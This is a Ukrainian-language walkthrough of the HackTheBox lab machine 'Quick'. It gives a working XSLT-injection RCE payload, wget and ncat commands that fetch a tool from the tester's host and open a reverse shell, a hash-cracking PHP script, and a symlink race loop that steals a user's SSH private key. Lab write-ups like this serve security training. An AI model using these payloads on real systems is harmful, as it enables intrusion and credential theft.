
Стаття описує процес проходження машини «Quick» на платформі HackTheBox, демонструючи методи підключення через протокол QUIC HTTP/3, експлуатацію XSLT-ін’єкції та використання race condition для отримання приватного ключа користувача. Детально розглядаются етапи сканування портів, виявлення відкритих служб, встановлення з’єднання за допомогою бібліотеки quiche
від Cloudflare, а також способи отримання доступу через уразливості в обробці XML.
Продовжується публікація рішень для доробки машин із майданчика HackTheBox.
У статті розглядаються методи підключення за протоколом QUIC HTTP/3, отримання RCE через XSLT-ін’єкцію та використання техніки Race Condition для доступу до приватного ключа користувача.
Підключення до лабораторії виконується через VPN. Для безпеки не рекомендується використовувати робочий комп’ютер або пристрій із важливими даними, адже з’єднання встановлюється з приватною мережею, де працюють люди з досвідом у сфері інформаційної безпеки.
Ця машина має IP адресу 10.10.10.186, яку додаємо в /etc/hosts.
10.10.10.186 quick.htb
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186 --rate=500
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A quick.htb -p9001,22
Так ми маємо дві служби – SSH та веб-сервер Apache. Подивимося, що нам запропонує Інтернет.
Є посилання на портал, що працює протокол HTTPS, але цей порт закритий. Додамо цей DNS /etc/hosts.
10.10.10.186 portal.quick.htb
Але порт 443 закритий! Ще на сайті знаходимо цікавий список.
Директорії скануються за допомогою gobuster. У параметрах задається кількість потоків 128 (-t), URL (-u), словник (-w), цікаві розширення (-x) та потрібні коди відповіді сервера (-s).
gobuster dir -t 128 -u http://quick.htb:9001/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401
І знаходимо цікаві сторінки, але всі вимагають авторизації. Трохи покрутившись навколо цього сайту, постало питання. Навіщо потрібне посилання порталу, якщо порт відповідний порт сервера закрито. Тоді знову ретельніше проскануємо даний порт.
nmap -p443 -A quick.htb
sudo nmap -p443 -A -sU quick.htb
І цей порт відкритий для UDP!
Знаходимо статтю, в якій описана технологія QUIC (схоже на назву машини).
Далі, читаючи про цей протокол, дізнаємося, що в Chrome було додано можливість роботи з цим протоколом. Але вказаним способом підключитися не виходить. Тоді згадуємо, що підключення фільтрується, нижче буде приклад установки.
Давайте зробимо установку як описано вище:
sudo apt install rustc cargo git clone --recursive https://github.com/cloudflare/quiche cd quiche cargo build --examples
Все успішно зібрано, тепер виконаємо запит на наш сайт та отримаємо відповідь!
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/
Для зручності результати можна зберігати у HTML-файл і відкривати його у браузері, проте це необов’язково. Якщо у висновку з’являється посилання на сторінку з документами, слід звернутися до неї.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs
І бачимо два документи. Скачаємо їх.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf
І в Connectivity.pdf сказано, з яким паролем ми можемо зайти, ось тільки як ім’я користувача потрібно використовувати якийсь email.
Давайте назбираємо інформації… Список клієнтів вже був представлений раніше, але ми можемо знайти ще співробітників.
Давайте створимо список email’ів. Так Tim відноситься до QConsulting із Великобританії, тоді його email буде швидше за все [email protected]. Складемо такий для всіх імен. І спробувавши під ними авторизуватися, успішно заходимо, як [email protected].
Оглянувши ситуацію, було помічено, що плагін wappalyzer не працює. Для перегляду використовуваних технологій застосовується утиліта whatweb.
whatweb http://quick.htb:9001/home.php
Бачимо заголовок X-Powered-By: Esigate . Шукаємо експлоїти.
Таким чином, XSLT ін’єкція може призвести до RCE. З gobuster ми дізналися, що є ще сторінки search.php та ticket.php. Якщо звернутися до search. То нам скажуть, що немає рядка для пошуку.
Тоді передамо параметр search.
І при пошуку “2” є результат.
А ось на сторінці ticket.php можна створити квиток.
І ми отримати відповідний запис, який можна знайти. Експлуатація вразливості добре показана тут . Відповідно до статті, для отримання RCE необхідно надіслати посилання на XSL файл, який матиме наступний зміст:
<?xml version="1.0" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" omit-xml-declaration="yes"/> <xsl:template match="/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"> <root> <xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable> <xsl:variable name="rtObj" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/> Process: <xsl:value-of select="$process"/> Command: <xsl:value-of select="$cmd"/> </root> </xsl:template> </xsl:stylesheet>
Де CDATA[] буде містити команду, що виконується В якості повідомлення ми повинні відправити include даних файлів.
<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>
Тоді запустимо на локальній машині листонер.
nc -lvp 4321
І тепер створюватимемо тикети і звертатимемося до них. Оскільки символи “>” та “<” будуть екрановані, зробимо три запити. Ми будемо завантажувати ncat, давати йому право на виконання і здійснювати бекконект. Нижче наведено значення CDATA[] для трьох файлів:
1.xsl: wget http://10.10.14.191/ncat 2.xsl: chmod +x ncat 3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh
І виконаємо 6 запитів (перше – зміст повідомлення, друге – запит до квитка).
<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>
І ми бачимо підключення.
Для зручності створимо та запишемо SSH ключ.
Підключимося з отриманими обліковими даними.
mysql -h localhost -u db_adm -p
Давайте переглянемо наявні бази даних.
Вибираємо базу даних quick.
Переглянемо таблиці у цій базі.
І, зрештою, отримаємо дані з таблиці users.
Отримуємо хеші, але перебрати md5 не виходить. Давайте подивимося код, де відбувається порівняння хешів.
Таким чином, пароль спочатку потрапляє у функцію crypt. Давайте напишемо свій код, який перебере паролі.
<?php $hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05'; $wordlist = fopen("./tools/rockyou.txt","r"); while(! feof($wordlist)) { $str = fgets($wordlist); $str = trim($str); echo "Find password: " . $str ." \r"; $tmp_hash = md5(crypt($str,'fa')); if($hash == $tmp_hash){ echo "Password Found: ". $str."\n"; fclose($wordlist); exit(0); } } fclose($wordlist); ?>
Із файлу отримується пароль. Локальна зміна пароля не дає результату, і для SSH він також не підходить. Тому аналізується решта вихідного коду. У файлі add_printer.php виявлено, що приймаються кілька параметрів, зокрема IP-адреса та порт, після чого виконується підключення для перевірки з’єднання.
Куди цікавіший файл job.php.
Авторизуватися на сервері не вдається, оскільки він недоступний. Переглядаються налаштування веб-сервера. Виявлено, що при створенні принтера відбувається генерація файлу, який потім передається на зазначені хост і порт. Однак, завдяки затримці sleep(0.5)
і тому, що створений файл має дозволи 777
, є можливість змінити його до відправлення, оскільки повні права доступу надано для цієї директорії.
Таким чином можна написати скрипт, який буде лінкувати цей файл з приватним ключем користувача!
cd /var/www/jobs; while true; do for file in $(ls .); do rm -rf $file; ln -s /home/srvadm/.ssh/id_rsa $file; done done
Давайте подивимося налаштування веб-сервера.
Таким чином, цей сайт працює від імені srvadm і доступний лише через localhost. Давайте прокинемо порт і додамо відповідний запис /etc/hosts.
127.0.0.1 printerv2.quick.htb
sudo ssh -i sam -L 80:127.0.0.1:80 [email protected]
Тепер зайдемо на сайт.
І перейдемо до додавання принтера.
Після того, як принтер додано, потрібно його активувати.
Тепер запустимо наш скрипт та вибираємо print.
І побачимо підключення до листенеру і SSH ключ користувача.
І в домашній директорії знаходимо директорію .cache.
І знаходимо конфігураційний файл до принтера.
І в конфізі знаходимо рядок підключення до принтера:
https://username:password@ip/printer
Звідки отримуємо пароль, який ми можемо використовувати для підключення SSH.
Проходження машини Quick демонструє важливість аналізу сучасних протоколів, таких як QUIC HTTP/3, і вміння знаходити та експлуатувати уразливості системи. Покроковий підхід до сканування портів, аналізу веб-додатків, XSLT-ін’єкцій та технік, таких як Race Condition, надає неоціненний досвід для фахівців із кібербезпеки. Ця стаття слугує чудовим прикладом того, як використовувати інструменти та знання для досягнення результату в пентестингу та навчанні інформаційній безпеці.